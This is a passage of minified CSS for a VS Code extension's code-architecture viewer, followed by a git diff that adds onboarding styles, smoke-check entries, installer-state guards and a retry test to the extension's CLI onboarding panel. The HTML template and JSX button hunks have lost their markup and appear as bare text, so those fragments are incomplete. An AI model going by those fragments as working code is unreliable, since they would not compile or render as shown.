var(--border);color:var(--muted-foreground);text-align:center;grid-template-columns:repeat(3,1fr);gap:1px;padding:8px 6px;font-size:9px;display:grid}.architecture-stats strong{color:var(--sidebar-foreground);margin-bottom:1px;font-size:11px;display:block}.architecture-main{min-width:0;padding:14px clamp(14px,2.2vw,24px) 32px;overflow:auto}.architecture-global-search{z-index:20;max-width:760px;margin:0 auto 18px;position:sticky;top:0}.architecture-global-search>label{align-items:center;display:flex;position:relative}.architecture-global-search>label>svg{width:15px;height:15px;color:var(--vscode-input-placeholderForeground,var(--muted-foreground));position:absolute;left:10px}.architecture-global-search input{border:1px solid var(--vscode-input-border,var(--border));background:var(--vscode-input-background,var(--input));width:100%;height:34px;color:var(--vscode-input-foreground,var(--foreground));font:inherit;border-radius:3px;outline:none;padding:5px 84px 5px 33px;font-size:12px}.architecture-global-search input:focus-visible{border-color:var(--ring);outline:1px solid var(--ring);outline-offset:-1px}.architecture-global-search label>span{color:var(--muted-foreground);font-size:10px;position:absolute;right:8px}.architecture-search-results{border:1px solid var(--vscode-menu-border,var(--border));background:var(--vscode-menu-background,var(--popover));max-height:min(440px,65vh);color:var(--vscode-menu-foreground,var(--popover-foreground));box-shadow:0 4px 12px var(--vscode-widget-shadow,#00000047);border-radius:3px;position:absolute;top:calc(100% + 2px);left:0;right:0;overflow:auto}.architecture-search-results>p{color:var(--muted-foreground);margin:0;padding:14px;font-size:12px}.architecture-search-results section+section{border-top:1px solid var(--vscode-menu-separatorBackground,var(--border))}.architecture-search-results h2{color:var(--muted-foreground);letter-spacing:.06em;text-transform:uppercase;margin:0;padding:7px 10px 4px;font-size:10px;font-weight:600}.architecture-search-results button{width:100%;color:inherit;text-align:left;background:0 0;border:0;padding:6px 10px;display:block}.architecture-search-results button:hover,.architecture-search-results button:focus-visible{background:var(--vscode-menu-selectionBackground,var(--vscode-list-activeSelectionBackground,var(--accent)));color:var(--vscode-menu-selectionForeground,var(--vscode-list-activeSelectionForeground,var(--accent-foreground)));outline:none}.architecture-search-results button span,.architecture-search-results button small{text-overflow:ellipsis;white-space:nowrap;display:block;overflow:hidden}.architecture-search-results button span{font-size:12px}.architecture-search-results button small{color:inherit;opacity:.72;margin-top:2px;font-size:10px}.architecture-overview,.architecture-detail{max-width:1500px;margin-left:auto;margin-right:auto}.architecture-detail{margin-top:26px}.architecture-section-heading{justify-content:space-between;align-items:flex-start;gap:12px;margin-bottom:10px;display:flex}.architecture-section-heading h2{margin:0;font-size:15px;font-weight:600;line-height:1.35}.architecture-section-heading p{color:var(--muted-foreground);margin:3px 0 0;font-size:11px}.architecture-detail-count{color:var(--muted-foreground);white-space:nowrap;font-size:11px}.architecture-flow-grid,.architecture-symbol-grid{grid-template-columns:repeat(auto-fill,minmax(260px,1fr));gap:6px;display:grid}.architecture-flow{border:1px solid var(--border);background:var(--vscode-editorWidget-background,var(--card));min-width:0;min-height:38px;color:var(--foreground);font:inherit;text-align:left;border-radius:3px;grid-template-columns:minmax(0,1fr) 14px minmax(0,1fr) auto;align-items:center;gap:6px;padding:6px 8px;font-size:11px;display:grid}.architecture-flow:hover{border-color:var(--vscode-focusBorder,var(--ring));background:var(--workbench-hover)}.architecture-flow>span{text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.architecture-flow>svg{width:13px;height:13px;color:var(--muted-foreground)}.architecture-flow-footer{justify-content:space-between;align-items:center;gap:10px;margin-top:8px;display:flex}.architecture-flow-footer p{color:var(--muted-foreground);margin:0;font-size:10px}.architecture-flow-footer button{border:1px solid var(--border);color:var(--foreground);font:inherit;background:0 0;border-radius:3px;padding:3px 7px;font-size:10px}.architecture-tab-content{min-height:280px;padding-top:8px}.architecture-detail [data-slot=tabs-list]{border-bottom:1px solid var(--border);justify-content:flex-start;gap:0;width:100%;height:30px;padding:0}.architecture-detail [data-slot=tabs-trigger]{min-width:76px;height:30px;color:var(--muted-foreground);border-radius:0;flex:none;padding:4px 10px;font-size:11px;font-weight:500}.architecture-detail [data-slot=tabs-trigger][data-state=active]{color:var(--foreground)}.architecture-detail [data-slot=tabs-trigger]>span{background:var(--vscode-badge-background,var(--muted));min-width:22px;color:var(--vscode-badge-foreground,var(--muted-foreground));font:9px/1.4 var(--compass-font-mono);border-radius:9px;margin-left:4px;padding:1px 5px}.architecture-detail [data-slot=tabs-trigger][data-state=active]>span{color:var(--vscode-badge-foreground,var(--foreground))}.architecture-detail [data-slot=tabs-trigger]:after{background:var(--vscode-tab-activeBorder,var(--ring));bottom:-1px}.architecture-symbol-grid{grid-template-columns:repeat(auto-fill,minmax(210px,1fr));margin-top:8px}.architecture-symbol-card{border:1px solid var(--border);background:var(--vscode-editorWidget-background,var(--card));min-width:0;min-height:92px;color:var(--card-foreground);border-radius:3px;grid-template-rows:auto 1fr;grid-template-columns:18px minmax(0,1fr);gap:0 7px;padding:9px;display:grid}.architecture-symbol-card>svg{width:15px;height:15px;color:var(--vscode-symbolIcon-functionForeground,var(--muted-foreground));margin-top:1px}.architecture-symbol-card h3,.architecture-symbol-card p{text-overflow:ellipsis;white-space:nowrap;margin:0;overflow:hidden}.architecture-symbol-card h3{color:var(--vscode-editor-foreground,var(--foreground));font-size:12px;font-weight:600}.architecture-symbol-card p{color:var(--muted-foreground);margin-top:2px;font-size:10px}.architecture-symbol-card>button,.architecture-symbol-card>span{color:var(--workbench-link);font:10px/1.35 var(--compass-font-mono);text-align:left;text-overflow:ellipsis;white-space:nowrap;background:0 0;border:0;grid-column:1/span 2;align-self:end;margin-top:9px;padding:0;overflow:hidden}.architecture-symbol-card>button:hover{text-decoration:underline}.architecture-symbol-card>span{color:var(--vscode-disabledForeground,var(--compass-faint))}.architecture-call-table{border:1px solid var(--border);border-radius:3px;max-height:min(54vh,620px);margin-top:8px;overflow:auto}.architecture-call-table table{border-collapse:collapse;table-layout:fixed;width:100%;min-width:620px;font-size:11px}.architecture-call-table thead{z-index:2;background:var(--workbench-table-header);position:sticky;top:0}.architecture-call-table th,.architecture-call-table td{border-bottom:1px solid var(--border);text-align:left;text-overflow:ellipsis;white-space:nowrap;padding:7px 9px;overflow:hidden}.architecture-call-table th{color:var(--muted-foreground);padding:0;font-weight:500}.architecture-call-table th button{width:100%;min-height:30px;color:inherit;font:inherit;text-align:left;background:0 0;border:0;align-items:center;gap:5px;padding:6px 9px;display:flex}.architecture-call-table th button:hover{background:var(--workbench-hover);color:var(--foreground)}.architecture-call-table tbody tr:hover{background:var(--workbench-hover)}.architecture-call-table tr:last-child td{border-bottom:0}.architecture-call-table th:nth-child(2),.architecture-call-table th:nth-child(4),.architecture-call-table td:nth-child(2),.architecture-call-table td:nth-child(4){width:126px}.architecture-shell button:focus-visible,.architecture-shell input:focus-visible{outline:2px solid var(--ring);outline-offset:1px}body.vscode-high-contrast .architecture-section-list>button[aria-current=page],body.vscode-high-contrast-light .architecture-section-list>button[aria-current=page],body.vscode-high-contrast .architecture-flow:focus-visible,body.vscode-high-contrast-light .architecture-flow:focus-visible,body.vscode-high-contrast .architecture-symbol-card,body.vscode-high-contrast-light .architecture-symbol-card,body.vscode-high-contrast .architecture-call-table,body.vscode-high-contrast-light .architecture-call-table{border-width:2px;border-color:var(--vscode-contrastBorder,var(--ring))}@media(max-width:760px){.architecture-shell{grid-template-rows:auto 1fr;grid-template-columns:1fr}.architecture-nav{border-right:0;border-bottom:1px solid var(--border);max-height:38vh}.architecture-main{padding:10px 10px 24px}.architecture-global-search{margin-bottom:14px}.architecture-section-heading{align-items:flex-start}.architecture-flow-grid,.architecture-symbol-grid{grid-template-columns:1fr}.architecture-flow-footer,.workbench-pagination{flex-direction:column;align-items:flex-start}.workbench-collection-toolbar{flex-direction:column;align-items:stretch}.workbench-search{width:100%;max-width:none}}.call-guide-shell{box-sizing:border-box;background:radial-gradient(circle at 77% 8%,var(--compass-focus),transparent 28rem),var(--vscode-editor-background,var(--background));min-height:100vh;padding:clamp(28px,5vw,72px) clamp(20px,5vw,72px) 40px;position:relative;overflow:auto}@supports (color:color-mix(in lab,red,red)){.call-guide-shell{background:radial-gradient(circle at 77% 8%,color-mix(in srgb,var(--compass-focus) 9%,transparent),transparent 28rem),var(--vscode-editor-background,var(--background))}}.call-guide-shell{isolation:isolate}.call-guide-grid{z-index:-1;opacity:.19;background-image:linear-gradient(var(--compass-grid) 1px,transparent 1px),linear-gradient(90deg,var(--compass-grid) 1px,transparent 1px);pointer-events:none;background-size:32px 32px;position:fixed;inset:0;-webkit-mask-image:linear-gradient(#000,#0000 68%);mask-image:linear-gradient(#000,#0000 68%)}.call-guide-hero,.call-guide-section,.call-guide-footer{width:min(1120px,100%);margin-inline:auto}.call-guide-hero{border-bottom:1px solid var(--vscode-panel-border,var(--border));grid-template-columns:minmax(300px,.9fr) minmax(420px,1.1fr);align-items:center;gap:clamp(40px,7vw,96px);min-height:330px;padding-bottom:clamp(36px,5vw,64px);display:grid}.call-guide-kicker,.call-guide-overline,.call-guide-route-label,.call-guide-route-readout,.call-guide-shortcut,.call-guide-coverage-badge{font-family:var(--compass-font-mono);text-transform:uppercase;letter-spacing:.12em}.call-guide-kicker{color:var(--vscode-textLink-foreground,var(--compass-focus));align-items:center;gap:8px;font-size:10px;font-weight:700;display:inline-flex}.call-guide-kicker svg{width:14px;height:14px}.call-guide-intro h1{max-width:650px;color:var(--vscode-editor-foreground,var(--foreground));letter-spacing:-.052em;text-wrap:balance;margin:18px 0 0;font-size:clamp(34px,5vw,62px);font-weight:620;line-height:.98}.call-guide-lead{max-width:580px;color:var(--vscode-descriptionForeground,var(--muted-foreground));margin:22px 0 0;font-size:clamp(14px,1.7vw,17px);line-height:1.65}.call-guide-source{border:1px solid var(--vscode-panel-border,var(--border));background:var(--vscode-editorWidget-background,var(--card));border-radius:4px;align-items:center;gap:8px;max-width:min(100%,560px);min-height:34px;margin-top:24px;padding:0 10px;display:inline-flex}@supports (color:color-mix(in lab,red,red)){.call-guide-source{background:color-mix(in srgb,var(--vscode-editorWidget-background,var(--card)) 88%,transparent)}}.call-guide-source{color:var(--vscode-descriptionForeground,var(--muted-foreground));font:11px/1.3 var(--compass-font-mono)}.call-guide-source>span:not(.call-guide-source-light){text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.call-guide-source>svg{flex:none;width:14px;height:14px}.call-guide-source code{border-left:1px solid var(--vscode-panel-border,var(--border));color:var(--vscode-textLink-foreground,var(--compass-focus));font:inherit;flex:none;margin-left:3px;padding-left:9px}.call-guide-source-light{background:var(--vscode-disabledForeground,var(--compass-faint));border-radius:50%;flex:none;width:6px;height:6px}.call-guide-source[data-ready=true] .call-guide-source-light{background:var(--vscode-testing-iconPassed,var(--compass-success));box-shadow:0 0 9px var(--vscode-testing-iconPassed,var(--compass-success))}@supports (color:color-mix(in lab,red,red)){.call-guide-source[data-ready=true] .call-guide-source-light{box-shadow:0 0 9px color-mix(in srgb,var(--vscode-testing-iconPassed,var(--compass-success)) 60%,transparent)}}.call-guide-route{border:1px solid var(--vscode-panel-border,var(--border));background:linear-gradient(135deg,var(--vscode-editorWidget-background,var(--card)),var(--vscode-editor-background,var(--background)));border-radius:8px;padding:16px;position:relative;overflow:hidden}@supports (color:color-mix(in lab,red,red)){.call-guide-route{background:linear-gradient(135deg,color-mix(in srgb,var(--vscode-editorWidget-background,var(--card)) 94%,transparent),color-mix(in srgb,var(--vscode-editor-background,var(--background)) 82%,transparent))}}.call-guide-route{box-shadow:0 24px 70px #00000038}.call-guide-route:before{content:"";border:1px solid var(--compass-focus);width:230px;height:230px;position:absolute;top:46%;left:50%}@supports (color:color-mix(in lab,red,red)){.call-guide-route:before{border:1px solid color-mix(in srgb,var(--compass-focus) 14%,transparent)}}.call-guide-route:before{box-shadow:0 0 0 44px var(--compass-focus),0 0 0 88px var(--compass-focus);border-radius:50%;transform:translate(-50%,-50%)}@supports (color:color-mix(in lab,red,red)){.call-guide-route:before{box-shadow:0 0 0 44px color-mix(in srgb,var(--compass-focus) 3%,transparent),0 0 0 88px color-mix(in srgb,var(--compass-focus) 2%,transparent)}}.call-guide-route:before{pointer-events:none}.call-guide-route-label,.call-guide-route-readout{z-index:2;color:var(--vscode-disabledForeground,var(--compass-faint));justify-content:space-between;font-size:9px;display:flex;position:relative}.call-guide-route-label code{color:var(--vscode-textLink-foreground,var(--compass-focus));font:inherit;text-transform:none}.call-guide-route-stage{z-index:1;grid-template-columns:repeat(3,minmax(0,1fr));align-items:center;gap:13%;min-height:226px;display:grid;position:relative}.call-guide-route-node{border:1px solid var(--vscode-panel-border,var(--border));background:var(--vscode-editor-background,var(--background));border-radius:5px;flex-direction:column;gap:4px;min-width:0;padding:12px;display:flex;position:relative;box-shadow:0 12px 32px #0003}.call-guide-route-node>span{color:var(--vscode-descriptionForeground,var(--muted-foreground));font:8px/1 var(--compass-font-mono);letter-spacing:.12em}.call-guide-route-node strong{color:var(--vscode-editor-foreground,var(--foreground));font:600 11px/1.3 var(--compass-font-mono);text-overflow:ellipsis;overflow:hidden}.call-guide-route-node small{color:var(--vscode-descriptionForeground,var(--muted-foreground));text-overflow:ellipsis;white-space:nowrap;font-size:9px;overflow:hidden}.call-guide-route-current{border-color:var(--vscode-focusBorder,var(--compass-focus));background:var(--vscode-focusBorder,var(--compass-focus));align-items:center;padding-block:17px}@supports (color:color-mix(in lab,red,red)){.call-guide-route-current{background:color-mix(in srgb,var(--vscode-focusBorder,var(--compass-focus)) 9%,var(--vscode-editor-background,var(--background)))}}.call-guide-route-current{text-align:center;box-shadow:0 0 0 1px var(--compass-focus),0 15px 40px var(--compass-focus)}@supports (color:color-mix(in lab,red,red)){.call-guide-route-current{box-shadow:0 0 0 1px color-mix(in srgb,var(--compass-focus) 16%,transparent),0 15px 40px color-mix(in srgb,var(--compass-focus) 14%,transparent)}}.call-guide-route-current>svg{width:17px;height:17px;color:var(--vscode-textLink-foreground,var(--compass-focus));margin-bottom:3px}.call-guide-route-line{z-index:-1;background:var(--compass-focus);width:32%;height:1px;position:absolute;top:50%;overflow:hidden}@supports (color:color-mix(in lab,red,red)){.call-guide-route-line{background:color-mix(in srgb,var(--compass-focus) 44%,var(--border))}}.call-guide-route-line-in{left:18%}.call-guide-route-line-out{right:18%}.call-guide-route-line i{background:var(--vscode-focusBorder,var(--compass-focus));width:5px;height:5px;box-shadow:0 0 9px var(--vscode-focusBorder,var(--compass-focus));border-radius:50%;animation:2.2s linear infinite call-guide-trace;position:absolute;top:-2px}.call-guide-route-line-out i{animation-delay:1.1s}@keyframes call-guide-trace{0%{left:-8px}to{left:calc(100% + 8px)}}.call-guide-route-readout{border-top:1px solid var(--vscode-panel-border,var(--border));letter-spacing:.08em;padding-top:11px}.call-guide-section{border-bottom:1px solid var(--vscode-panel-border,var(--border));padding-block:clamp(34px,5vw,58px)}.call-guide-heading{justify-content:space-between;align-items:flex-end;gap:28px;margin-bottom:24px;display:flex}.call-guide-overline{color:var(--vscode-textLink-foreground,var(--compass-focus));margin-bottom:7px;font-size:9px;font-weight:700;display:block}.call-guide-heading h2{color:var(--vscode-editor-foreground,var(--foreground));letter-spacing:-.025em;margin:0;font-size:clamp(19px,2.4vw,26px);font-weight:600}.call-guide-heading>p{max-width:420px;color:var(--vscode-descriptionForeground,var(--muted-foreground));text-align:right;margin:0;font-size:11px;line-height:1.5}.call-guide-shortcut{color:var(--vscode-descriptionForeground,var(--muted-foreground));white-space:nowrap;align-items:center;gap:7px;font-size:9px;display:inline-flex}.call-guide-shortcut svg{width:12px;height:12px;color:var(--vscode-textLink-foreground,var(--compass-focus))}.call-guide-steps{grid-template-columns:minmax(170px,.8fr) minmax(340px,1.45fr) minmax(170px,.8fr);gap:10px;margin:0;padding:0;list-style:none;display:grid}.call-guide-steps>li{border:1px solid var(--vscode-panel-border,var(--border));background:var(--vscode-editorWidget-background,var(--card));border-radius:5px;align-content:start;gap:17px;min-height:168px;padding:18px;display:grid;position:relative}@supports (color:color-mix(in lab,red,red)){.call-guide-steps>li{background:color-mix(in srgb,var(--vscode-editorWidget-background,var(--card)) 72%,transparent)}}.call-guide-steps>li>svg{width:22px;height:22px;color:var(--vscode-textLink-foreground,var(--compass-focus))}.call-guide-step-number{color:var(--vscode-disabledForeground,var(--compass-faint));font:9px/1 var(--compass-font-mono);letter-spacing:.1em;position:absolute;top:17px;right:17px}.call-guide-steps h3{color:var(--vscode-editor-foreground,var(--foreground));margin:0;font-size:13px;font-weight:600}.call-guide-steps p{color:var(--vscode-descriptionForeground,var(--muted-foreground));margin:6px 0 0;font-size:11px;line-height:1.5}.call-guide-step-menu{grid-template-columns:minmax(150px,.85fr) minmax(195px,1.15fr);align-items:center}.call-guide-menu-preview{min-width:0;padding-right:44%;font-size:10px;position:relative}.call-guide-menu-parent,.call-guide-submenu{border:1px solid var(--vscode-menu-border,var(--border));background:var(--vscode-menu-background,var(--popover));color:var(--vscode-menu-foreground,var(--popover-foreground));border-radius:4px;box-shadow:0 12px 30px #00000040}.call-guide-menu-parent{border-color:var(--vscode-focusBorder,var(--compass-focus));background:var(--vscode-menu-selectionBackground,var(--accent));min-height:31px;color:var(--vscode-menu-selectionForeground,var(--accent-foreground));grid-template-columns:15px 1fr 13px;align-items:center;gap:7px;padding:0 8px;display:grid}.call-guide-menu-parent svg,.call-guide-submenu svg{width:13px;height:13px}.call-guide-submenu{z-index:2;width:58%;min-width:165px;padding:4px;position:absolute;top:22px;right:0}.call-guide-submenu span{white-space:nowrap;border-radius:2px;align-items:center;gap:7px;min-height:26px;padding:0 7px;display:flex}.call-guide-submenu span.is-active{background:var(--vscode-menu-selectionBackground,var(--accent));color:var(--vscode-menu-selectionForeground,var(--accent-foreground))}.call-guide-actions{grid-template-columns:repeat(3,minmax(0,1fr));gap:10px;display:grid}.call-guide-action{border:1px solid var(--vscode-panel-border,var(--border));background:var(--vscode-editorWidget-background,var(--card));min-height:104px;color:var(--vscode-editor-foreground,var(--foreground));font:inherit;text-align:left;border-radius:5px;outline:none;grid-template-columns:auto 1fr auto;align-items:center;gap:13px;padding:18px;transition:border-color .14s,background .14s,transform .14s;display:grid;position:relative}.call-guide-action:not(:disabled):hover{border-color:var(--vscode-focusBorder,var(--compass-focus));background:var(--vscode-list-hoverBackground,var(--workbench-hover))}@supports (color:color-mix(in lab,red,red)){.call-guide-action:not(:disabled):hover{background:color-mix(in srgb,var(--vscode-list-hoverBackground,var(--workbench-hover)) 70%,var(--vscode-editorWidget-background,var(--card)))}}.call-guide-action:not(:disabled):hover{transform:translateY(-2px)}.call-guide-action:focus-visible,.call-guide-walkthrough:focus-visible{outline:2px solid var(--vscode-focusBorder,var(--ring));outline-offset:2px}.call-guide-action:disabled{cursor:not-allowed;opacity:.46}.call-guide-action[data-primary=true]{border-color:var(--vscode-focusBorder,var(--compass-focus))}@supports (color:color-mix(in lab,red,red)){.call-guide-action[data-primary=true]{border-color:color-mix(in srgb,var(--vscode-focusBorder,var(--compass-focus)) 72%,var(--border))}}.call-guide-action[data-primary=true]{background:linear-gradient(130deg,var(--vscode-focusBorder,var(--compass-focus)),transparent 58%),var(--vscode-editorWidget-background,var(--card))}@supports (color:color-mix(in lab,red,red)){.call-guide-action[data-primary=true]{background:linear-gradient(130deg,color-mix(in srgb,var(--vscode-focusBorder,var(--compass-focus)) 13%,transparent),transparent 58%),var(--vscode-editorWidget-background,var(--card))}}.call-guide-action-icon{border:1px solid var(--vscode-panel-border,var(--border));background:var(--vscode-editor-background,var(--background));width:34px;height:34px;color:var(--vscode-textLink-foreground,var(--compass-focus));border-radius:4px;place-items:center;display:grid}.call-guide-action-icon svg{width:16px;height:16px}.call-guide-action strong,.call-guide-action small{display:block}.call-guide-action strong{font-size:12px;font-weight:600}.call-guide-action small{color:var(--vscode-descriptionForeground,var(--muted-foreground));margin-top:5px;font-size:10px}.call-guide-action-arrow{width:15px;height:15px;color:var(--vscode-disabledForeground,var(--compass-faint));transition:transform .14s}.call-guide-action:not(:disabled):hover .call-guide-action-arrow{color:var(--vscode-textLink-foreground,var(--compass-focus));transform:translate(3px)}.call-guide-action em{color:var(--vscode-textLink-foreground,var(--compass-focus));font:normal 8px/1 var(--compass-font-mono);letter-spacing:.08em;text-transform:uppercase;position:absolute;top:8px;right:8px}.call-guide-footer{justify-content:space-between;align-items:center;gap:30px;padding-top:24px;display:flex}.call-guide-coverage{align-items:center;gap:13px;max-width:760px;display:flex}.call-guide-coverage-badge{border:1px solid var(--vscode-testing-iconPassed,var(--compass-success));flex:none;padding:5px 7px}@supports (color:color-mix(in lab,red,red)){.call-guide-coverage-badge{border:1px solid color-mix(in srgb,var(--vscode-testing-iconPassed,var(--compass-success)) 50%,var(--border))}}.call-guide-coverage-badge{color:var(--vscode-testing-iconPassed,var(--compass-success));border-radius:3px;font-size:8px;font-weight:700}.call-guide-coverage p{color:var(--vscode-descriptionForeground,var(--muted-foreground));margin:0;font-size:10px;line-height:1.55}.call-guide-walkthrough{color:var(--vscode-textLink-foreground,var(--compass-focus));font:11px/1 var(--compass-font-sans);background:0 0;border:0;outline:none;flex:none;align-items:center;gap:7px;padding:7px 0;display:inline-flex}.call-guide-walkthrough svg{width:14px;height:14px}.call-guide-walkthrough svg:last-child{width:12px;transition:transform .14s}.call-guide-walkthrough:hover svg:last-child{transform:translate(2px)}body.vscode-high-contrast .call-guide-route,body.vscode-high-contrast-light .call-guide-route,body.vscode-high-contrast .call-guide-steps>li,body.vscode-high-contrast-light .call-guide-steps>li,body.vscode-high-contrast .call-guide-action,body.vscode-high-contrast-light .call-guide-action{border-width:2px;border-color:var(--vscode-contrastBorder,var(--ring))}@media(max-width:900px){.call-guide-hero{grid-template-columns:1fr;gap:32px}.call-guide-route{box-sizing:border-box;width:min(620px,100%)}.call-guide-steps{grid-template-columns:1fr 1fr}.call-guide-step-menu{grid-area:2/1/auto/-1}}@media(max-width:680px){.call-guide-shell{padding-inline:16px}.call-guide-heading,.call-guide-footer{flex-direction:column;align-items:flex-start}.call-guide-heading>p{text-align:left}.call-guide-shortcut{display:none}.call-guide-steps,.call-guide-actions{grid-template-columns:1fr}.call-guide-step-menu{grid-area:auto;grid-template-columns:1fr}.call-guide-menu-preview{padding-right:min(42%,180px)}.call-guide-coverage{flex-direction:column;align-items:flex-start}}@media(max-width:440px){.call-guide-route-stage{gap:5%}.call-guide-route-node{padding:9px 7px}.call-guide-route-node small{display:none}.call-guide-menu-preview{padding:0}.call-guide-submenu{width:auto;margin:6px 0 0 18px;position:relative;top:auto}}@media(prefers-reduced-motion:reduce){.call-guide-route-line i{animation:none}.call-guide-action,.call-guide-action-arrow,.call-guide-walkthrough svg:last-child{transition:none}}@property --tw-translate-x{syntax:"*";inherits:false;initial-value:0}@property --tw-translate-y{syntax:"*";inherits:false;initial-value:0}@property --tw-translate-z{syntax:"*";inherits:false;initial-value:0}@property --tw-border-style{syntax:"*";inherits:false;initial-value:solid}@property --tw-font-weight{syntax:"*";inherits:false}@property --tw-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-shadow-color{syntax:"*";inherits:false}@property --tw-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-inset-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-inset-shadow-color{syntax:"*";inherits:false}@property --tw-inset-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-ring-color{syntax:"*";inherits:false}@property --tw-ring-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-inset-ring-color{syntax:"*";inherits:false}@property --tw-inset-ring-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-ring-inset{syntax:"*";inherits:false}@property --tw-ring-offset-width{syntax:"";inherits:false;initial-value:0}@property --tw-ring-offset-color{syntax:"*";inherits:false;initial-value:#fff}@property --tw-ring-offset-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-outline-style{syntax:"*";inherits:false;initial-value:solid}@property --tw-blur{syntax:"*";inherits:false}@property --tw-brightness{syntax:"*";inherits:false}@property --tw-contrast{syntax:"*";inherits:false}@property --tw-grayscale{syntax:"*";inherits:false}@property --tw-hue-rotate{syntax:"*";inherits:false}@property --tw-invert{syntax:"*";inherits:false}@property --tw-opacity{syntax:"*";inherits:false}@property --tw-saturate{syntax:"*";inherits:false}@property --tw-sepia{syntax:"*";inherits:false}@property --tw-drop-shadow{syntax:"*";inherits:false}@property --tw-drop-shadow-color{syntax:"*";inherits:false}@property --tw-drop-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-drop-shadow-size{syntax:"*";inherits:false}@property --tw-backdrop-blur{syntax:"*";inherits:false}@property --tw-backdrop-brightness{syntax:"*";inherits:false}@property --tw-backdrop-contrast{syntax:"*";inherits:false}@property --tw-backdrop-grayscale{syntax:"*";inherits:false}@property --tw-backdrop-hue-rotate{syntax:"*";inherits:false}@property --tw-backdrop-invert{syntax:"*";inherits:false}@property --tw-backdrop-opacity{syntax:"*";inherits:false}@property --tw-backdrop-saturate{syntax:"*";inherits:false}@property --tw-backdrop-sepia{syntax:"*";inherits:false}@property --tw-content{syntax:"*";inherits:false;initial-value:""}@keyframes spin{to{transform:rotate(360deg)}}@keyframes pulse{50%{opacity:.5}}@keyframes enter{0%{opacity:var(--tw-enter-opacity,1);transform:translate3d(var(--tw-enter-translate-x,0),var(--tw-enter-translate-y,0),0)scale3d(var(--tw-enter-scale,1),var(--tw-enter-scale,1),var(--tw-enter-scale,1))rotate(var(--tw-enter-rotate,0));filter:blur(var(--tw-enter-blur,0))}}@keyframes exit{to{opacity:var(--tw-exit-opacity,1);transform:translate3d(var(--tw-exit-translate-x,0),var(--tw-exit-translate-y,0),0)scale3d(var(--tw-exit-scale,1),var(--tw-exit-scale,1),var(--tw-exit-scale,1))rotate(var(--tw-exit-rotate,0));filter:blur(var(--tw-exit-blur,0))}} diff --git a/editors/vscode/esbuild.mjs b/editors/vscode/esbuild.mjs index bcb47b8b..37f4e8dd 100644 --- a/editors/vscode/esbuild.mjs +++ b/editors/vscode/esbuild.mjs @@ -83,4 +83,8 @@ if (watch) { "../../packages/compass-viewer/dist/viewer.css", "dist/webviews/viewer.css" ); + await copyFile( + "../../packages/compass-viewer/src/onboarding.css", + "dist/webviews/onboarding.css" + ); } diff --git a/editors/vscode/scripts/smoke-vsix.mjs b/editors/vscode/scripts/smoke-vsix.mjs index 9d09b015..1f6e62fa 100644 --- a/editors/vscode/scripts/smoke-vsix.mjs +++ b/editors/vscode/scripts/smoke-vsix.mjs @@ -19,6 +19,8 @@ for (const required of [ "extension/dist/webviews/callGraph.js", "extension/dist/webviews/callGraphGuide.js", "extension/dist/webviews/history.js", + "extension/dist/webviews/onboarding.js", + "extension/dist/webviews/onboarding.css", "extension/media/icon.png" ]) { if (!listing.includes(required)) throw new Error(`VSIX is missing ${required}`); diff --git a/editors/vscode/src/views/cliOnboardingPanel.ts b/editors/vscode/src/views/cliOnboardingPanel.ts index db3a4e97..0e8c2cff 100644 --- a/editors/vscode/src/views/cliOnboardingPanel.ts +++ b/editors/vscode/src/views/cliOnboardingPanel.ts @@ -65,8 +65,8 @@ export async function openCliOnboardingPanel( title: "Compass was not found", message: "The installer finished, but Compass was not found in a configured, PATH, or common install location.", searched: discovery.searched.length > 0 - ? discovery.searched - : [...searchedFallback], + ? discovery.searched.slice(0, 256).map((value) => value.slice(0, 8192)) + : [...searchedFallback].slice(0, 256).map((value) => value.slice(0, 8192)), canVerifyAgain: true }); return false; @@ -117,7 +117,11 @@ export async function openCliOnboardingPanel( }; const install = async (): Promise => { - if (command.kind !== "supported" || state.kind === "installing") return; + if ( + command.kind !== "supported" + || state.kind === "installing" + || state.kind === "verifying" + ) return; const run = ++executionId; await postState({ kind: "installing", @@ -209,6 +213,7 @@ export async function openCliOnboardingPanel( disposed = true; executionId += 1; currentPanel = undefined; + currentTerminal = undefined; for (const disposable of disposables) disposable.dispose(); }) ); @@ -304,10 +309,15 @@ function html(context: vscode.ExtensionContext, webview: vscode.Webview): string const styles = webview.asWebviewUri( vscode.Uri.joinPath(context.extensionUri, "dist", "webviews", "viewer.css") ); + const onboardingStyles = webview.asWebviewUri( + vscode.Uri.joinPath(context.extensionUri, "dist", "webviews", "onboarding.css") + ); const nonce = randomUUID().replaceAll("-", ""); return ` -Get started with Compass + + +Get started with Compass
`; } diff --git a/packages/compass-viewer/src/onboarding/CliOnboarding.test.tsx b/packages/compass-viewer/src/onboarding/CliOnboarding.test.tsx index 66500eb9..0d1a1a5c 100644 --- a/packages/compass-viewer/src/onboarding/CliOnboarding.test.tsx +++ b/packages/compass-viewer/src/onboarding/CliOnboarding.test.tsx @@ -116,6 +116,19 @@ describe("CliOnboarding", () => { mounted.root.unmount(); }); + it("retries the installer after an installer failure", () => { + const mounted = render({ + kind: "error", + title: "Installation failed", + message: "The installer exited with code 1.", + canVerifyAgain: false + }); + + flushSync(() => button(mounted.container, "Try again").click()); + expect(mounted.host.install).toHaveBeenCalledOnce(); + mounted.root.unmount(); + }); + it("does not offer automatic installation on an unsupported host", () => { const mounted = render({ kind: "unsupported", diff --git a/packages/compass-viewer/src/onboarding/CliOnboarding.tsx b/packages/compass-viewer/src/onboarding/CliOnboarding.tsx index 717b34ee..5697273a 100644 --- a/packages/compass-viewer/src/onboarding/CliOnboarding.tsx +++ b/packages/compass-viewer/src/onboarding/CliOnboarding.tsx @@ -147,10 +147,14 @@ export function CliOnboarding({ state, host }: Props) { )} - {state.canVerifyAgain && ( + {state.canVerifyAgain ? ( + ) : ( + )} ))} -